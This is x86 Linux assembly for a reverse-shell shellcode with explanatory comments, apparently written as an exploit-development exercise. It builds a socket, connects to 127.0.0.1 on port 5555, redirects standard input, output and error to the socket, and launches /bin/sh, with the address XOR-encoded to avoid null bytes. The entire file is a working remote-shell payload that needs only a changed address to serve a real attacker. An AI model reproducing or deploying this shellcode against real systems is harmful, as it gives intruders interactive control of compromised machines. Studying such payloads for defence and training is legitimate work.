; Clear everthing we are using
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
xor esi, esi
xor edi, edi
; Define structure for socket
; push 0x0100007f ; Push IP to stack in reverse byte order ; need to revist the null bytes here (127.0.0.1)
; We have a issue here in that the ip address 127.0.0.1 = 0x0100007f in hex which contains null bytes
; Easiest way around this is to XOR the value with 0xffffffff
mov edi, 0xfeffff80 ; xor of 0x0100007f and 0xffffffff
xor edi, 0xffffffff
push edi
push word 0xb315 ; Push 5555 to the stack in reverse byte order 5555 in hex = 0x15b3
push word 0x2 ; push 2 to the stack (AF-INET)
; Create socket
; s = socket(AF_INET, SOCK_STREAM, 0)
mov ax, 0x167 ; Syscall 359 (socket)
mov bl, 0x2 ; AF-INET (2)
mov cl, 0x1 ; Sock stream (1)
; dl should already be zero
int 0x80 ; call system interupt to create socket
xchg esi, eax ; socket file descriptor now stored in esi
; Connect socket
; connect(s, (struct sockaddr *)&addr, sizeof(addr));
mov ax, 0x16a ; Syscall 362 connect
mov ebx, esi ; Move socket file descriptor into ebx
mov ecx, esp ; Point ecx to the top of the stack which has our address structure on it
mov dl, 0x10 ; Size of structure (16)
int 0x80 ; call system interupt to create connect
; Dup input output and error file descriptors
; dup2(s, 0); // Dup2 sycall = 63
xor eax, eax ; Clear eax
mov ebx, esi ; move socket id to ebx
xor ecx, ecx ; Clear ecx
mov cl, 0x2 ; set ecx to 2
loop:
mov al, 0x3f ; syscall 63
int 0x80 ; call dup 2
dec ecx ; decrease ecx by 1
jns loop ; jump if not signed back to loop, this should cycle 2,1,0
; Execute Shell
; execve("/bin/sh",0 ,0); // Execve syscall = 11
; (const char *filename, char *const argv[], char *const envp[]);
xor eax,eax ; null eax
mov al, 0xb ; syscall 11 into eax
xor ebx, ebx ; zero ebx
push ebx ; push a null string to the stack to terminate our string
push 0x68732f2f ; hs//
push 0x6e69622f ; nib/
mov ebx, esp ; point ebx at the stack
xor ecx, ecx ; clear ecx and edx as they are used in the syscall
xor edx, edx
int 0x80
